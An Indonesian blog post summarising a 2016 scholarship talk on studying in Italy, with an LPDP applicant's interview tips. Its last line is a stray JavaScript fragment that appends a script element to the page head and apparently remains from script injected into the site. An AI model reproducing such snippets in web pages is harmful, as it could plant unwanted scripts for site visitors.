Schotalk #3 How to get Scholarship and study in Italy Sahabat Beasiswa Chapter Bogor

SchoTalk dengan tema How to Get Scholarship and Study in Italy yang diadakan Sabtu, 13 Agustus 2016 diisi oleh Kak Anas.  Kak Anas menamatkan program S1 nya di Institut Teknologi Sepuluh November jurusan teknik mesin dan lulus di tahun 2014. Kemudian beliau melanjutkan studi S2 di Mechanical Engineering Design SapienzaUniversity of Rome  Materi yang disampaikan pun sangat inspiratif. Dan ada salam dari Kak Anas dari Italia untuk Sahabat Beasiswa.

IMG-20160728-WA0014
Salam dari Italia

Beberapa jenis beasiswa yang ada di Italia diantaranya:
1. Beasiswa dari Indonesia : LPDP, Beasiswa President, Beasiswa Dikti, dll.
2. Beasiswa dari Italia : Invest your talent in Italy (benefitnya ada tawaran internship, setahun dapat 8000 euro), Beasiswa Pemerintah Lokal, Beasiswa Kampus.

Tips dan trik mendapatkan LOA kampus Italia:
1. Ielts min 6.5 Toelf IBT min 79 Toelf ITP 550
2. Secara umum persyaratan kuliah di italia relatif mudah, hanya dengan seleksi administratif (CV standar Europe, paspor, foto, toefl, ijazah, sertifikat dan Studi plan-essay dalam bahasa Inggris). Jadi sering sering buka website tiap kampus, cek persyaratannya dan segera lengkapi dan submit.

Short Story…

“Perjalanan dan perjuangan lolos LPDP serta tips dan trik mendapatkan beasiswa LPDP”

Saya mendaftar LPDP untuk gelombang kedua pada bulan maret. Setelah dinyatakan lolos secara administrative saya melanjutkan tes wawancara pada akhir mei. Secara umum untuk babak administrative tidak ada halangan yang berarti karena ketika semua persyaratan sudah lengkap dan tersubmit tepat waktu, maka kemungkinan besar lolos.

Lalu untuk babak wawancara saya lakukan di Surabaya karena saat itu domisili saya ada di Surabaya. Babak wawancara dimulai dengan LGD (Leaderless Group Discussion) Kebetulan saat itu materi yang diberikan tentang pro kontra pembuatan smelter baru di gresik oleh Freeport. Jadi tipsnya untuk ini kalau bisa banyak baca baca berita yang sedang hits saat itu agar waktu diskusi bisa lancar. Saran yang kedua adalah jangan terlalu mendominasi karena judulnya adalah Leaderless. Kalau bisa posisikan dirimu sebagai problem solver yang kongkret dan sistematis.

Selanjutnya adalah wawancara dengan 3 interviewer. Wawancara dimulai dengan memperkenalkan diri dengan bahasa Indonesia, kemudian mulai membahas essay yang saya tulis. Tips selanjutnya essay harus ditulis dengan sangat baik dan sistematis serta didasarkan fakta. Lalu diskusi dilanjutkan dengan apa yang akan saya lakukan setelah lulus kuliah nanti. Tips selanjutnya adalah kalau bisa harus punya tujuan yang solid setelah lulus, misal sebagai contoh saat saya mendaftar LPDP saya sudah mempunyai usaha konsultan engineering, saya lanjut S2 untuk mencari bekal dan mengembangkan usaha saya, setelah saya lulus saya akan mengimplementasikan ilmu dan link yang saya dapat di usaha konsultan saya, dengan seperti itu bisa meningkatkan perokonomian masyarakat dengan menyediakan lapangan kerja baru. Tips selanjutnya adalah ketika wawancara sebisa mungkin buat impresi yang bagus di depan interviewer, misal dengan cara bertanya balik ke interviewer atau dengan cara lain. Wawancara dilanjutkan dengan bahasa inggris untuk membahas study plan. Tips selanjutnya adalah sebisa mungkin kalian sudah search terlebih dahulu study plan di kampus tujuanmu sehingga lebih mudah menjawabnya.

“Hidup ini singkat, dunia ini luas, saat ini kita masih muda. Lalu kenapa ngga kita coba beranikan diri kita buat melihat seberapa luas sebenernya dunia ini. Asalkan kita coba Insha Allah ada jalan. Ngga ada kebayang dulu aku yang berasal dari desa kecil di Gresik bisa menapakan kaki di Roma, sebuah negeri yang berjaya di masa lalu bahkan ada di kitab suci agama samawi. Jadi liarkanlah impianmu..”
-Ahmad Anas Arifin-

Berikut notulensi SchoTalk #3 materi beserta tanya-jawabnya:

Notulensi SchoTalk #3 Sahabat Beasiswa Chapter Bogor kelas A di klik disini ya

Notulensi SchoTalk #3 Sahabat Beasiswa Chapter Bogor kelas B di klik disini ya

 

:)d.getElementsByTagName(‘head’)[0].appendChild(s);